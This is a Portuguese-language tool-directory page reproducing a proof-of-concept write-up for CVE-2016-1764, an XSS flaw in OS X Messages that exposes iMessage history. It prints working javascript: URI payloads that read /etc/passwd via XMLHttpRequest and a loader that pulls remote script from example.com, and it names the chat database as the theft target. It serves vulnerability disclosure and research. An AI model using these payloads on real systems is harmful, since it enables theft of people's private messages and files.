Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2016-1764 — Extração de dados do iMessage via XSS | Kitploit
Ferramentas/GitHubGitHub/moloch--/cve-2016-1764
OSINT (Inteligência de Fontes Abertas)Segurança iOSExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança Móvel
GitHubmoloch--/cve-2016-1764

cve-2016-1764

Extração de dados do iMessage via XSS

Ver Repositório
513013há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Código de Exploit PoC para CVE-2016-1764

Recuperação de Dados iMessage em Texto Puro Sem Quebrar a Criptografia

Autores

  • Shubham Shah da Bishop Fox
  • Joe DeMesy da Bishop Fox
  • Matthew Bryant

CVE-2016-1764

Fornecedor: Apple

Data de Lançamento: 8 de abril de 2016

Data do Patch: 21 de março de 2016

Sistemas Afetados: Messages no OSX Mountain Yosemite, El Capitan

Embora a maior parte do debate recente em torno da Apple tenha sido focada em criptografia, a indústria e as autoridades parecem ter esquecido que vulnerabilidades mais simples, no nível de aplicação, podem ser aproveitadas para dispensar a criptografia por completo. A CVE-2016-1764, corrigida pela Apple em março de 2016, é uma falha na camada de aplicação que resulta na divulgação remota de todo o conteúdo de mensagens e anexos em texto puro ao explorar o cliente iMessage do OS X. Além disso, você não precisa de um diploma em matemática para explorá-la, nem de conhecimento detalhado sobre gerenciamento de memória, shellcode ou elaboradas cadeias de ROP para bypass de ASLR. Na verdade, é uma falha relativamente simples que pode ser explorada por qualquer pessoa com conhecimento básico de JavaScript.

TL;DR Técnico

O Messages (iMessage) para OS X da Apple implementa sua interface de usuário usando uma versão incorporada do WebKit; além disso, o Messages no OS X renderiza qualquer URI como um link HTML <a href= clicável. Um atacante pode criar uma simples URI JavaScript (por exemplo, javascript:) que, quando clicada, concede ao atacante execução inicial de JavaScript (XSS) no contexto do DOM da aplicação. Embora a biblioteca WebKit incorporada usada pelo Messages para OS X execute em uma origem applewebdata://, um atacante ainda pode ler arquivos arbitrários usando requisições GET XMLHttpRequest (XHR) para uma URI file://, já que não há política de mesma origem (SOP) implementada. Ao abusar do XHR para ler arquivos, um atacante pode enviar todo o histórico de conversas e anexos de uma vítima para um servidor remoto tão rápido quanto a conexão de Internet da vítima permitir; a única interação do usuário necessária é clicar em um único link no chat. Além disso, se o encaminhamento de SMS estiver ativado, o atacante também pode recuperar mensagens enviadas para, ou a partir do, iPhone da vítima.

Se você quiser saber todos os detalhes, continue lendo.

Detalhes Técnicos

Messages para OS X

O Messages para OS X usa uma versão incorporada do WebKit para grande parte de sua interface de usuário. Quando mensagens são enviadas ou recebidas pela aplicação, HTML é inserido no DOM para renderizar a interface e qualquer conteúdo de anexos/mídia que tenha sido enviado. Todas as mensagens enviadas pela aplicação são renderizadas em um DOM e, portanto, vulnerabilidades comuns de segurança do lado do cliente podem afetar a aplicação.

Ao testar o cliente Messages para OS X, descobriu-se que esquemas de protocolos arbitrários eram automaticamente convertidos em links e inseridos no DOM. Por exemplo, as seguintes URIs abaixo são todas inseridas como links no WebView quando enviadas como mensagem:

test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter

Como o Messages para OS X não implementa uma lista de permissões de protocolos aceitos, um atacante pode enviar uma mensagem a uma vítima contendo uma URI JavaScript javascript:, que será convertida em um link clicável na máquina da vítima.

Uma vez clicado, o WebKit incorporado executará obedientemente o JavaScript controlado pelo atacante na origem atual, por exemplo:

js_prompt_1

Observe que %0a (ou seja, \n) é usado para escapar do comentário JavaScript //, o que é necessário para corresponder ao padrão de vinculação do parser. Uma vez interpretado, o código se assemelha a:

//bishopfox.com/research?
prompt(1)

Ao clicar neste link, um prompt de JavaScript é acionado no Messages para OS X:

No entanto, o Messages para OS X é um aplicativo de desktop, não um site. Portanto, o JavaScript é executado no contexto de uma origem applewebdata://:

Porém, o código do atacante é executado em uma implementação completa do WebKit e, portanto, XMLHttpRequest está disponível em tempo de execução. Uma das principais diferenças entre uma versão incorporada do WebKit e um navegador da web como Chrome ou Safari é que a versão incorporada não implementa nenhuma política de mesma origem (SOP), por se tratar de um aplicativo de desktop nativo. Um atacante pode aproveitar isso para ler arquivos do sistema de arquivos local sem violar a política de mesma origem, enviando requisições GET XMLHttpRequest para URIs file://. O único requisito é que o atacante saiba o caminho completo do arquivo; caminhos relativos do sistema de arquivos (por exemplo, ~/.ssh/id_rsa) não podem ser usados.

Lendo Arquivos

Por exemplo, o seguinte JavaScript pode ser executado pelo DOM do aplicativo Messages para ler o arquivo /etc/passwd:

function reqListener () {
  prompt(this.responseText);
  // send back to attackers server here
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

Convertido em um payload de URI, o código aparece da seguinte forma:

javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

Ao ser clicado no aplicativo Messages, o seguinte prompt aparece:

Como o vetor acima é bastante longo e parece excessivamente suspeito, é possível encurtar a URI carregando dinamicamente JavaScript de um domínio e incluindo-o no DOM. Por exemplo, o vetor abaixo injeta o JavaScript de http://example.com/1.js no DOM do Messages:

javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

O arquivo JavaScript referenciado como //example.com/1.js no vetor acima pode conter instruções JavaScript arbitrárias de comprimento arbitrário.

No entanto, a sandbox de aplicativos do OS X restringia o acesso ao sistema de arquivos apenas a ~/Library/Messages/* e a alguns outros diretórios do sistema não pertencentes ao usuário, como /etc/.

Roubando o Banco de Dados e os Anexos do Messages

Quando mensagens e anexos são recebidos pelo Messages no OS X, eles são salvos no seguinte diretório:

/Users/<username>/Library/Messages/*

O conteúdo textual dessas mensagens e outros metadados são armazenados em um banco de dados SQLite localizado em:

/Users/<username>/Library/Messages/chat.db

Esse banco de dados também contém os locais de todos os anexos que estão na máquina do usuário.

Para roubar esse banco de dados e, consequentemente, todos os anexos já recebidos ou enviados por uma vítima, é necessário um payload de ataque mais avançado.

Visão Geral do Exploit

Baixar ferramenta